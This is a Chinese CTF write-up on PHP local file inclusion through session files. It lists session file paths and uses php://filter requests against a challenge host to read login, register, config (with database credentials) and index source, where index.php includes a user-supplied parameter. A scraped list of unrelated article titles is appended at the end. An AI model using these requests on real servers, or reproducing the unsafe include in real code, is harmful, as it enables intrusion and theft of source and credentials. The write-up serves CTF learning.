PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

题目:

http://54.222.188.152:22589/

解题思路:

php伪协议读取源码

点击login,发现链接变为:

http://54.222.188.152:22589/index.php

?action=login.php

首先读取 login.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源码:

require_once('config.php');

session_start();

if($_SESSION['username']) {

header('Location: index.php');

exit;

}

if($_POST['username'] && $_POST['password']) {

$username = $_POST['username'];

$password = md5($_POST['password']);

$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($mysqli->connect_errno) {

die("could not connect to the database:\n" . $mysqli->connect_error);

}

$sql = "select password from user where username=?";

$stmt = $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_password);

$stmt->execute();

$stmt->fetch();

if ($res_password == $password) {

$_SESSION['username'] = base64_encode($username);

header("location:index.php");

} else {

die("Invalid user name or password");

}

$stmt->close();

$mysqli->close();

}

else {

?>

Login

Login

Username:

Password:

LOGIN

}

?>

读取 register.php 的源码

访问:

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=register.php

得到源码:

if ($_POST['username'] && $_POST['password']) {

require_once('config.php');

$username = $_POST['username'];

$password = md5($_POST['password']);

$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($mysqli->connect_errno) {

die("could not connect to the database:\n" . $mysqli->connect_error);

}

$mysqli->set_charset("utf8");

$sql = "select * from user where username=?";

$stmt = $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_id, $res_username, $res_password);

$stmt->execute();

$stmt->store_result();

$count = $stmt->num_rows();

if($count) {

die('User name Already Exists');

} else {

$sql = "insert into user(username, password) values(?,?)";

$stmt = $mysqli->prepare($sql);

$stmt->bind_param("ss", $username, $password);

$stmt->execute();

echo 'Register OK!Please Login';

}

$stmt->close();

$mysqli->close();

} else {

?>

Login

Register

Username:

Password:

REGISTER

}

?>

读取 config.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=config.php

得到源码:

$dbhost = 'localhost';

$dbuser = 'web';

$dbpass = 'webpass123';

$dbname = 'web';

?>

读取 index.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=index.php

源码:

error_reporting(0);

session_start();

if (isset($_GET['action'])) {

include $_GET['action'];

exit();

} else {

?>

Login

<?php echo "

You have been successfully logged in.

Logout";}else{ ?>

<?php echo "

Please Login.

Login

Register";

} ?>

php文件包含读源码,CTF PHP文件包含--session相关推荐

  1. PDF文件JAVA去水印源码,给pdf文件添加防伪水印logo(附工程源码下载)

    pdf添加水印logo这种需求场景确实很少,有些时候一些销售单据生成pdf添加一个水印logo,做一个简单的防伪效果,虽然实际上并没有太大作用,但是产品经理说要,巴拉巴拉--省略一万字. 下面将源码分 ...

  2. MyBatis 源码分析 - 映射文件解析过程

    1.简介 在上一篇文章中,我详细分析了 MyBatis 配置文件的解析过程.由于上一篇文章的篇幅比较大,加之映射文件解析过程也比较复杂的原因.所以我将映射文件解析过程的分析内容从上一篇文章中抽取出来, ...

  3. myisam怎么读_耗时半年,我成功“逆袭”,拿下美团offer(刷面试题+读源码+项目准备)...

    欢迎关注专栏[以架构赢天下]--每天持续分享Java相关知识点 以架构赢天下​zhuanlan.zhihu.com 以架构赢天下--持续分享Java相关知识点 每篇文章首发此专栏 欢迎各路Java程序 ...

  4. 微信读书vscode插件_跟我一起读源码 – 如何阅读开源代码

    阅读是最好的老师 在学习和提升编程技术的时候,通过阅读高质量的源码,来学习专家写的高质量的代码,是一种非常有效的提升自我的方式.程序员群体是一群乐于分享的群体,因此在互联网上有大量的高质量开源项目,阅 ...

  5. linux内核源码只有makefile文件没有c文件,linux内核代码的编写初步以及makefile的配置...

    在linux内核代码开发中,头文件不能包含标准C头文件,只能采用GNC标准 而且内核开发中没有main函数,只有init 和 exit ,这是每个内核模块中必须要包含的函数模块. 在GNU C标准中, ...

  6. 后台管理系统怎么实现操作日志原理_springboot角色权限后台管理系统脚手架实战开发教程包含完整源码...

    自从猿来入此发布实战开发教程以来,我们截至目前一共发布了22个Java实战项目开发教程,从最基础的Java控制台实战项目到数据库封装教程再到swing的单机项目教程.servlet的web实战教程.s ...

  7. 【Android 高性能音频】Oboe 开发流程 ( 导入 Oboe 库 | 使用预构建的二进制库和头文件 | 编译 Oboe 源码 )

    文章目录 一.导入 Oboe 库 二.使用预构建的二进制库和头文件 三.编译 Oboe 源代码 Oboe GitHub 主页 : GitHub/Oboe ① 简单使用 : Getting Starte ...

  8. SpringBoot文件上传源码解析

    一.SpringMVC文件上传源码分析前言(这部分我觉得原作者写的很好) 该如何研究SpringMVC的文件上传的源码呢? 研究源码并不是仅仅知道程序是怎样运行的,而应该从宏观的角度.不同的立场去看待 ...

  9. 读源码,对程序员重要吗?

    来源: CSDN(ID:CSDNnews) 嘿,朋友们!本文我将分享一些关于主动阅读和研究源码的一些想法.在我看来,阅读源码能够帮你成为一名更专业的开发人员.毫无疑问的是,阅读源码提高了我的软件开发水 ...

最新文章

  1. ArrayList Iterator remove java.lang.UnsupportedOperationException
  2. TC260-001《汽车采集数据处理安全指南》
  3. 构造 HDOJ 5400 Arithmetic Sequence
  4. vnc连接linux使用教程_vnc的使用方法,vnc的使用方法,教程详解
  5. 服务器修改虚拟机地址,服务器修改虚拟机地址
  6. PHP(Thinkphp框架)将数据表导出csv文件
  7. 同时渲染两个世界:恐怖游戏《灵媒》背后的尖端技术
  8. 11选5下期算法_双色球 133期预测 132中奖5+1
  9. python菜单栏_Python(Tkinter)创建的菜单不会显示
  10. 音视频开发(41)---ROKID桌面机器人麦克风阵列拆解分析及设计建议
  11. 最便宜的骁龙888旗舰机!realme真我GT正式发布:2799元起售
  12. Javascript获取日期和星期
  13. ArcGIS 10.5 及 ArcGIS Server下载安装破解环境配置
  14. SSH——Hibernate简单配置
  15. GoEasy小程序即时通讯源码 v1.1.0/基于GoEasy提供的websocket通讯服务
  16. 数据销毁、硬盘销毁的方法及安全性分析
  17. Python 实现英文新闻摘要自动提取(1)
  18. SAP生产订单删除步骤
  19. 用python批量修改图片名称!超级简单
  20. Variant 数据类型介绍

热门文章

  1. java实验报告之Employee类的设计
  2. 在uniapp使用微信插件获取不到回调数据问题解决
  3. 二、Apollo高精地图详解(2. 高精地图的采集、生产与格式规范)
  4. mysql 8.0双主_MySQL —— 配置多主一从 ( 8.0.18 版本 )
  5. 用python爬取实时基金估值
  6. C++实现人员工资管理系统
  7. HINSTANCE+hPreInstance
  8. Windows 中 TCP 端口 139 和 445 的使用
  9. week after week----友情岁月,匆匆
  10. python全栈指的是什么_python全栈指的是什么意思